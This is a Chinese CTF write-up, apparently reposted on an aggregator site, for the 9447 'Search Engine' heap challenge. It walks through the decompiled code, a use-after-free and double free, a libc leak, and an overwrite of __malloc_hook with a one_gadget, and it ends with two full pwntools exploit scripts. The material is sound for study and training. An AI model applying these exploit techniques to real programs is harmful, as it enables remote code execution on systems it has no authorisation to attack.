IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 游戏开发 -> 2015 9447 CTF Search Engine -> 正文阅读

[游戏开发]2015 9447 CTF Search Engine

思路参考大佬文章
部分图片和思路也来自hollk师傅,csdn有他的号

__int64 sub_400D60()
{
  __int64 choice; // rax

  head = 0LL;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = read_num();
      if ( (_DWORD)choice != 1 )
        break;
      search_word();
    }
    if ( (_DWORD)choice != 2 )
      break;
    index_sentence();
  }
  if ( (_DWORD)choice != 3 )
    error("Invalid option");
  return choice;
}

主要有两个函数

search_word()
index_sentence()

index_sentence

先看index_sentence()

int index_sentence()
{
  int v0; // eax
  __int64 v1; // rbp
  int len; // er13
  char *v3; // r12
  char *v4; // rbx
  char *str_tail; // rbp
  word_struct *v6; // rax
  int word_size; // edx
  word_struct *v8; // rdx
  word_struct *v10; // rdx

  puts("Enter the sentence size:");
  v0 = read_num();                              // len
  v1 = (unsigned int)(v0 - 1);
  len = v0;
  if ( (unsigned int)v1 > 0xFFFD )
    error("Invalid size");
  puts("Enter the sentence:");
  v3 = (char *)malloc(len);
  read_str(v3, len, 0);
  v4 = v3 + 1;
  str_tail = &v3[v1 + 2];                       // v3[len+1]
  v6 = (word_struct *)malloc(0x28uLL);
  word_size = 0;
  v6->content = (__int64)v3;
  v6->size = 0;
  v6->sentence_ptr = v3;
  v6->len = len;
  do
  {
    while ( *(v4 - 1) != ' ' )                  // v3不为空
    {
      v6->size = ++word_size;
LABEL_4:
      if ( ++v4 == str_tail )
        goto LABEL_8;                           // 如果v4到末位了,就跳转LABEL_8
    }
    if ( word_size )
    {
      v10 = head;
      head = v6;
      v6->next = v10;
      v6 = (word_struct *)malloc(0x28uLL);
      word_size = 0;
      v6->content = (__int64)v4;
      v6->size = 0;
      v6->sentence_ptr = v3;
      v6->len = len;
      goto LABEL_4;
    }
    v6->content = (__int64)v4++;
  }
  while ( v4 != str_tail );
LABEL_8:
  if ( word_size )
  {
    v8 = head;
    head = v6;
    v6->next = v8;
  }
  else
  {
    free(v6);
  }
  return puts("Added sentence");
}

v3(malloc)中读入len长的字段,无溢出
v3是输入sentence的地址

  v3 = (char *)malloc(len);
  read_str(v3, len, 0);

其实换算一下就是len+1,也就是结尾

  v0 = read_num();                              // len
  v1 = (unsigned int)(v0 - 1);
  len = v0;
  ------------------------------
  str_tail = &v3[v1 + 2];

v6开了个结构体函数,和句子函数不太一样

  v6 = (word_struct *)malloc(0x28uLL);

结构体如下

00000000 word_struct     struc ; (sizeof=0x28, mappedto_6)
00000000 content         dq ?
00000008 size            dd ?
0000000C padding1        dd ?
00000010 sentence_ptr    dq ?                    ; offset
00000018 len             dd ?
0000001C padding2        dd ?
00000020 next            dq ?                    ; offset
00000028 word_struct     ends
00000028

请添加图片描述
context和sentence指针都指向了句子的内存v3

  v6 = (word_struct *)malloc(0x28uLL);
  word_size = 0;
  v6->content = (__int64)v3;
  v6->size = 0;
  v6->sentence_ptr = v3;
  v6->len = len;

接下来这段有点难了
v4代表句子的char指针
如果v4当前不为空格且不为尾部,则创建一个新的结构体

    if ( word_size )
    {
      v10 = head;
      head = v6;
      v6->next = v10;
      v6 = (word_struct *)malloc(0x28uLL);
      word_size = 0;
      v6->content = (__int64)v4;
      v6->size = 0;
      v6->sentence_ptr = v3;
      v6->len = len;
      goto LABEL_4;
    }

这里我认为有点问题,gdb调试一下
请添加图片描述
请添加图片描述
可以看到head指向的是最后一个非空单词结构体的use域
请添加图片描述
非第一个单词结构体才有第五成员变量也就是next
阅读源码可知,创建结构体的规则是遇到空格就创建,而在do语句前已经创建了一个,也就是说,在这段代码里创建的结构体,记录的是从这个空格开始的单词数据

    if ( word_size )
    {
      v10 = head;
      head = v6;
      v6->next = v10;
      v6 = (word_struct *)malloc(0x28uLL);
      word_size = 0;
      v6->content = (__int64)v4;
      v6->size = 0;
      v6->sentence_ptr = v3;
      v6->len = len;
      goto LABEL_4;
    }

最后free不置空会产生UAF和DF

  {
    free(v6);
  }

最后区分一下 sentence的是直接malloc开的有多长开多长,而word的struct是按结构体的大小开的

search_word


看看另外一个函数search_word

void search_word()
{
  int v0; // ebp
  char *v1; // r12
  word_struct *i; // rbx
  char choice[56]; // [rsp+0h] [rbp-38h] BYREF

  puts("Enter the word size:");
  v0 = read_num();
  if ( (unsigned int)(v0 - 1) > 0xFFFD )
    error("Invalid size");
  puts("Enter the word:");
  v1 = (char *)malloc(v0);
  read_str(v1, v0, 0);                          // v1中存储size-v0
  for ( i = head; i; i = i->next )
  {
    if ( *i->sentence_ptr )                     // 有内容
    {
      if ( i->size == v0 && !memcmp((const void *)i->content, v1, v0) )// 检查输入与context是否一致
      {
        __printf_chk(1LL, "Found %d: ", (unsigned int)i->len);
        fwrite(i->sentence_ptr, 1uLL, i->len, stdout);
        putchar('\n');
        puts("Delete this sentence (y/n)?");
        read_str(choice, 2, 1);
        if ( choice[0] == 'y' )
        {
          memset(i->sentence_ptr, 0, i->len);
          free(i->sentence_ptr);                // uaf
          puts("Deleted!");
        }
      }
    }
  }
  free(v1);
}

又是free没置空
输入的数据存储在V1

  puts("Enter the word:");
  v1 = (char *)malloc(v0);
  read_str(v1, v0, 0);

查找主要看两个要素,应该是size一致,一个是内容一致
这时候就要想,有没有绕过查找机制?

    if ( *i->sentence_ptr )                     // 有内容
    {
      if ( i->size == v0 && !memcmp((const void *)i->content, v1, v0) )// 检查输入与context是否一致

如果删除,是删除句子的所在空间
并用memset全部置0

        if ( choice[0] == 'y' )
        {
          memset(i->sentence_ptr, 0, i->len);
          free(i->sentence_ptr);                // uaf
          puts("Deleted!");
        }

可以看到 ,指针没有释放,还指向sentence

补充知识点

首先是unsortedbin,main_arena,libc_base之间的相对地址
请添加图片描述
而放入unsotedBin的chunk如果是唯一一个在unsortedBin的chunk话,fd和bk都会指向unsortedBin(main_arena+88)
请添加图片描述
然后就是劫持hook
malloc_hook就是个函数指针,在执行malloc的时候调用
原文链接

#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>

static void* (*old_malloc_hook)(size_t, const void*); // 函数指针,用于保存原始的malloc钩子

static void* my_malloc(size_t size, const void *caller) // 自定义malloc钩子
{
    static int malloc_time = 0; // 记录malloc钩子调用了几次
    __malloc_hook = old_malloc_hook; // 还原malloc钩子,否则下面真正的malloc调用会造成递归死循环
    void *ptr = malloc(size); // 真正的内存分配
    __malloc_hook = my_malloc; // 重置malloc钩子为自定义值
    printf("%s, addr: %p, size: %lu, time:%d\n", __func__, ptr, size, ++malloc_time);
    return ptr;
}

void __attribute__((constructor)) malloc_init() // __attribute__((constructor)) 是gcc的一个特性
// 意思是在进入main主方法之前会首先调用这个函数,我们用它来初始化malloc钩子
{
    old_malloc_hook = __malloc_hook; // 保存原始的malloc钩子
    __malloc_hook = my_malloc; // 设置malloc钩子为自定义值
}

int main()
{
    char *c = (char*)malloc(sizeof(char)); // malloc
    free(c);

    int *i = new int; // new
    delete i;

    FILE *f = fopen("./file", "r"); //fopen
    if (NULL != f) {
        fclose(f);
    }

    return 0;
} 

malloc的位置在main_arena的低0x10的位置
print (void*)&main_arena可以获得其地址
然后就可以看到hook了
请添加图片描述
再就是one_gadget的使用
对于给了libc的远程环境
one_gadget libc.so.6可以获得execve的地址请添加图片描述
对于本地,需要用ldd search命令来获取libc地址,其中search是任意可执行二进制文件
请添加图片描述
在用one_gadget /lib/x86_64-linux-gnu/libc.so.6去获取execve
记住!!本地和远程一定要分开来写,然后不一定每个都有用,要都试试
可以构造脚本:

def oneGadget(num):
    if num==1:
        return 0x45226
    if num==2:
        return 0x4527a
    if num==3:
        return 0xf03a4
    if num==4:
        return 0xf1247

对于修改hook需要用到fake_chunk,在hook附近构造chunk来修改hook命令如下:find_fake_fast hook地址 大小-1,至于为什么要-1不太清楚
请添加图片描述

漏洞挖掘及其利用

逆向分析走一波,我们需要hook的地址,就需要
泄漏unsortedBin,main_arena,libc_base的其中一个,我们去看看源码中有没有write之类的函数

    if ( *i->sentence_ptr )                     // 有内容
    {
      if ( i->size == v0 && !memcmp((const void *)i->content, v1, v0) )// 检查输入与context是否一致
      {
        __printf_chk(1LL, "Found %d: ", (unsigned int)i->len);
        fwrite(i->sentence_ptr, 1uLL, i->len, stdout);
        putchar('\n');
        puts("Delete this sentence (y/n)?");
        read_str(choice, 2, 1);
        if ( choice[0] == 'y' )
        {
          memset(i->sentence_ptr, 0, i->len);
          free(i->sentence_ptr);                // uaf
          puts("Deleted!");
        }

fwrite会将sentence中的内容输出,而chunk放入unsortedBin中的fb和bk正好指向unsortedBin真实地址,那么如何让fwrite写出,就得绕过两个检查,一个是sentence有无内容的检查,这个肯定没问题,一个是对内容和所输入字符的检查,因为sentence的chunk已经被释放,内容被memset置0,我们只能用\x00绕过

函数从head开始也就是最后一个字符开始向前查找,就算free了sentence但head还是没置空,还是可以通过head继续查找
我们这样构造

smallbin_sentence=b'a'*0x85+b' k '
index_search(smallbin_sentence)
search_word('k')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')

看看bin内的情况
请添加图片描述
此时如果还将它作为sentence_chunk的话,就可以打印出内容了

search_word('\x00')
p.recvuntil('Found '+str(len(smallbin_sentence))+': ')
unsortedbin_addr=u64(p.recv(8))
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')

既然如此,hook地址经过计算就到手了
hook_addr=unsortedBin_addr-88-0x10
接下来得到了hook的地址,我们的目的是修改地址,修改地址的方法有unlink,有double free,这里采用double free
如果想构成double free,这里必须要有三个chunk,为什么是三个而不是两个,因为最先free的chunk的fd为0,无法绕过检查
请添加图片描述
如下构造三个堆,为什么这么构造,为了方便查找d来进行删除

index_search(b'a'*0x5d+b' d ')
index_search(b'b'*0x5d+b' d ')
index_search(b'c'*0x5d+b' d ')

看看堆

pwndbg> x/200gx 0xe72080-0x40-0x60+0x30
0xe72010:	0x0000000000000000	0x0000000000000071
0xe72020:	0x6161616161616161	0x6161616161616161
0xe72030:	0x6161616161616161	0x6161616161616161
0xe72040:	0x6161616161616161	0x6161616161616161
0xe72050:	0x6161616161616161	0x6161616161616161
0xe72060:	0x6161616161616161	0x6161616161616161
0xe72070:	0x6161616161616161	0x2064206161616161
0xe72080:	0x0000000000000000	0x0000000000000021
0xe72090:	0x00007f64aed19b88	0x00007f64aed19b88
0xe720a0:	0x0000000000000020	0x0000000000000030
0xe720b0:	0x0000000000e72020	0x0000000000000085
0xe720c0:	0x0000000000e72020	0x0000000000000088
0xe720d0:	0x0000000000000000	0x0000000000000031
0xe720e0:	0x0000000000e720a6	0x0000000000000001
0xe720f0:	0x0000000000e72020	0x0000000000000088
0xe72100:	0x0000000000e720b0	0x0000000000000031
0xe72110:	0x0000000000e72020	0x000000000000005d
0xe72120:	0x0000000000e72020	0x0000000000000060
0xe72130:	0x0000000000e720e0	0x0000000000000021
0xe72140:	0x0000000000000000	0x0000000000000000
0xe72150:	0x0000000000000000	0x0000000000000031
0xe72160:	0x0000000000e7207e	0x0000000000000001
0xe72170:	0x0000000000e72020	0x0000000000000060
0xe72180:	0x0000000000e72110	0x0000000000000031
0xe72190:	0x0000000000e721c0	0x000000000000005d
0xe721a0:	0x0000000000e721c0	0x0000000000000060
0xe721b0:	0x0000000000e72160	0x0000000000000071
0xe721c0:	0x6262626262626262	0x6262626262626262
0xe721d0:	0x6262626262626262	0x6262626262626262
0xe721e0:	0x6262626262626262	0x6262626262626262
0xe721f0:	0x6262626262626262	0x6262626262626262
0xe72200:	0x6262626262626262	0x6262626262626262
0xe72210:	0x6262626262626262	0x2064206262626262
0xe72220:	0x0000000000000000	0x0000000000000031
0xe72230:	0x0000000000e7221e	0x0000000000000001
0xe72240:	0x0000000000e721c0	0x0000000000000060
0xe72250:	0x0000000000e72190	0x0000000000000031
0xe72260:	0x0000000000e72290	0x000000000000005d
0xe72270:	0x0000000000e72290	0x0000000000000060
0xe72280:	0x0000000000e72230	0x0000000000000071
0xe72290:	0x6363636363636363	0x6363636363636363
0xe722a0:	0x6363636363636363	0x6363636363636363
0xe722b0:	0x6363636363636363	0x6363636363636363
0xe722c0:	0x6363636363636363	0x6363636363636363
0xe722d0:	0x6363636363636363	0x6363636363636363
0xe722e0:	0x6363636363636363	0x2064206363636363
0xe722f0:	0x0000000000000000	0x0000000000000031
0xe72300:	0x0000000000e722ee	0x0000000000000001
0xe72310:	0x0000000000e72290	0x0000000000000060
0xe72320:	0x0000000000e72260	0x0000000000000031
0xe72330:	0x0000000000000000	0x0000000000000000
0xe72340:	0x0000000000e72290	0x0000000000000060
0xe72350:	0x0000000000000000	0x0000000000020cb1

通过这个我们可以发现,无论是不是相同的句子,所有word_chunk都串成了单链表!
所以我们如果释放三个句子中的某一元素成分,就能通过for链表循环,将整个句子全部从高地址向低地址释放,,形成A->B->C->NULL
如下,至于第二次为什么会recv三次,别忘了最开头还创建了个chunk

search_word('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#dbg()
search_word("\x00")
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')#C
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')#B
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')#first chunk

此时如果再用\x00B进行DF,就能在重新申请B的时候挂上fake_chunk了,DF的过程在hollk师傅的博客里已经十分详细了,这里不再赘述。B->A->B->C

fake_offset_main=0x7fc2ba435b20-0x7fc2ba435aed #0x33
fake_chunk_addr=main_arena-fake_offset_main
fake_chunk=p64(fake_chunk_addr).ljust(0x60,b'a')
index_search(fake_chunk)

变为A->B->fake_chunk
申请掉A,B

index_search('a' * 0x60)
index_search('b' * 0x60)

最后一次申请,挂上钩子,顺便触发malloc
这个0x13是fake_chunk和hook的偏移,要考虑user域和chunk域哦

pwndbg> distance 0x7f64aed19b10 0x7f64aed19aed
0x7f64aed19b10->0x7f64aed19aed is -0x23 bytes (-0x5 words)

0x23-0x10=0x13

one_gadget_addr = libc_base + oneGadget(4)

payload=b'a'*0x13+p64(one_gadget_addr)
payload=payload.ljust(0x60,b'a')
print("one_gadget_addr:",hex(one_gadget_addr))
#dbg()
index_search(payload)

知识点总结和完整exp

知识点:

  • uaf
  • fastbin的double free
  • 泄漏unsortedBin
  • malloc_hook
  • one_gadget
from pwn import *
context.log_level = 'debug'
p=process('search')
elf=ELF('./search')
libc=ELF('./libc.so.6')

def dbg():
    gdb.attach(p)
    pause()

def index_search(s):
    p.sendline('2')
    p.sendline(str(len(s)))
    p.send(s)

def search_word(word):
    p.sendline('1')
    p.sendline(str(len(word)))
    p.send(word)

def leak_libc(unsortedbin):
    #main_arena_addr-libc_base=0x3c4b20
    #unsortedbin-main_arena_addr=88
    libc_base=unsortedbin-0x3c4b20-88
    print("libc_base:",hex(libc_base))
    return libc_base

def oneGadget(num):
    if num==1:
        return 0x45226
    if num==2:
        return 0x4527a
    if num==3:
        return 0xf03a4
    if num==4:
        return 0xf1247

smallbin_sentence=b'a'*0x85+b' k '
index_search(smallbin_sentence)
search_word('k')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#dbg()

search_word('\x00')
p.recvuntil('Found '+str(len(smallbin_sentence))+': ')
unsortedbin_addr=u64(p.recv(8))
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
print("unsordedbin_addr :",hex(unsortedbin_addr))

libc_base=leak_libc(unsortedbin_addr)
main_arena=libc_base+0x3c4b20

index_search(b'a'*0x5d+b' d ')
index_search(b'b'*0x5d+b' d ')
index_search(b'c'*0x5d+b' d ')
#dbg()
#a->b->c->NULL
search_word('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#dbg()
search_word("\x00")
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
#b->a->b->c-null
fake_offset_main=0x7fc2ba435b20-0x7fc2ba435aed #0x33
fake_chunk_addr=main_arena-fake_offset_main
fake_chunk=p64(fake_chunk_addr).ljust(0x60,b'a')
index_search(fake_chunk)
print("fakechunk_addr:",hex(fake_chunk_addr))
index_search('a' * 0x60)
index_search('b' * 0x60)

one_gadget_addr = libc_base + oneGadget(4)

payload=b'a'*0x13+p64(one_gadget_addr)
payload=payload.ljust(0x60,b'a')
print("one_gadget_addr:",hex(one_gadget_addr))
#dbg()
index_search(payload)

p.interactive()

经过测试和阅读源码,我没找出增添‘ k ’中后一个空格的必要之处,逻辑应该为遇到一个空格就创建空格后面单词的结构体
去掉空格exp如下

from pwn import *
context.log_level = 'debug'
p=process('search')
elf=ELF('./search')
libc=ELF('./libc.so.6')

def dbg():
    gdb.attach(p)
    pause()

def index_search(s):
    p.sendline('2')
    p.sendline(str(len(s)))
    p.send(s)

def search_word(word):
    p.sendline('1')
    p.sendline(str(len(word)))
    p.send(word)

def leak_libc(unsortedbin):
    #main_arena_addr-libc_base=0x3c4b20
    #unsortedbin-main_arena_addr=88
    libc_base=unsortedbin-0x3c4b20-88
    print("libc_base:",hex(libc_base))
    return libc_base

def oneGadget(num):
    if num==1:
        return 0x45226
    if num==2:
        return 0x4527a
    if num==3:
        return 0xf03a4
    if num==4:
        return 0xf1247

smallbin_sentence=b'a'*0x86+b' k'
index_search(smallbin_sentence)
search_word('k')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#dbg()

search_word('\x00')
p.recvuntil('Found '+str(len(smallbin_sentence))+': ')
unsortedbin_addr=u64(p.recv(8))
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
print("unsordedbin_addr :",hex(unsortedbin_addr))

libc_base=leak_libc(unsortedbin_addr)
main_arena=libc_base+0x3c4b20

index_search(b'a'*0x5e+b' d')
index_search(b'b'*0x5e+b' d')
index_search(b'c'*0x5e+b' d')
#dbg()
#a->b->c->NULL
search_word('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#dbg()
search_word("\x00")
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
#b->a->b->c-null
fake_offset_main=0x7fc2ba435b20-0x7fc2ba435aed #0x33
fake_chunk_addr=main_arena-fake_offset_main
fake_chunk=p64(fake_chunk_addr).ljust(0x60,b'a')
index_search(fake_chunk)
print("fakechunk_addr:",hex(fake_chunk_addr))
index_search('a' * 0x60)
index_search('b' * 0x60)

one_gadget_addr = libc_base + oneGadget(4)

payload=b'a'*0x13+p64(one_gadget_addr)
payload=payload.ljust(0x60,b'a')
print("one_gadget_addr:",hex(one_gadget_addr))
#dbg()
index_search(payload)

p.interactive()
  游戏开发 最新文章
6、英飞凌-AURIX-TC3XX: PWM实验之使用 GT
泛型自动装箱
CubeMax添加Rtthread操作系统 组件STM32F10
python多线程编程:如何优雅地关闭线程
数据类型隐式转换导致的阻塞
WebAPi实现多文件上传,并附带参数
from origin ‘null‘ has been blocked by
UE4 蓝图调用C++函数(附带项目工程)
Unity学习笔记(一)结构体的简单理解与应用
【Memory As a Programming Concept in C a
上一篇文章      下一篇文章      查看所有文章
加:2021-09-13 09:34:32  更:2021-09-13 09:34:58 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/17 13:52:16-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码